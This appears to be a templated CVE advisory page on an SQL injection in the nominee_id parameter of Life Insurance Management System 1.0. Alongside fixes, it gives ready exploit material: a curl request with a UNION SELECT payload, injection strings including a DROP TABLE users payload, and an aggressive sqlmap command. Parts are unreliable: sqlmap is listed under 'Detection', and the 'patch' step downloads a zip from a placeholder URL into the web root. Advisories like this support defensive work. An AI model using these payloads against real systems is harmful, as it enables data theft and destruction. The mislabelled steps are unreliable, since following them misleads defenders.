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How CVE-2025-2063 Works
The vulnerability exists in the `/deleteNominee.php` file of Life Insurance Management System 1.0 due to improper sanitization of the `nominee_id` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The application fails to use prepared statements or input validation, allowing unauthorized database access. Remote exploitation is possible without authentication, enabling data theft, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms network-based attacks with low complexity.
DailyCVE Form
Platform: Life Insurance Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Analytics:
- Exploitability: High (public PoC available)
- Attack Vector: Remote (HTTP request)
- Impact: Confidentiality, Integrity loss
Exploit Commands:
curl -X POST "http://target.com/deleteNominee.php" -d "nominee_id=1' UNION SELECT 1,2,3,user(),5-- -"
SQL Injection Payloads:
nominee_id=1' OR 1=1-- - nominee_id=1'; DROP TABLE users-- -
Detection:
sqlmap -u "http://target.com/deleteNominee.php?nominee_id=1" --risk=3 --level=5
Protection:
1. Use prepared statements:
$stmt = $conn->prepare("DELETE FROM nominees WHERE id = ?");
$stmt->bind_param("i", $nominee_id);
2. Input validation:
if (!is_numeric($_POST['nominee_id'])) { die("Invalid input"); }
3. WAF rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch upgrade:
wget https://vendor.com/patch/CVE-2025-2063-fix.zip unzip CVE-2025-2063-fix.zip -d /var/www/html/
Log Analysis:
grep "POST /deleteNominee.php" /var/log/apache2/access.log | grep -E "union|select|--"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
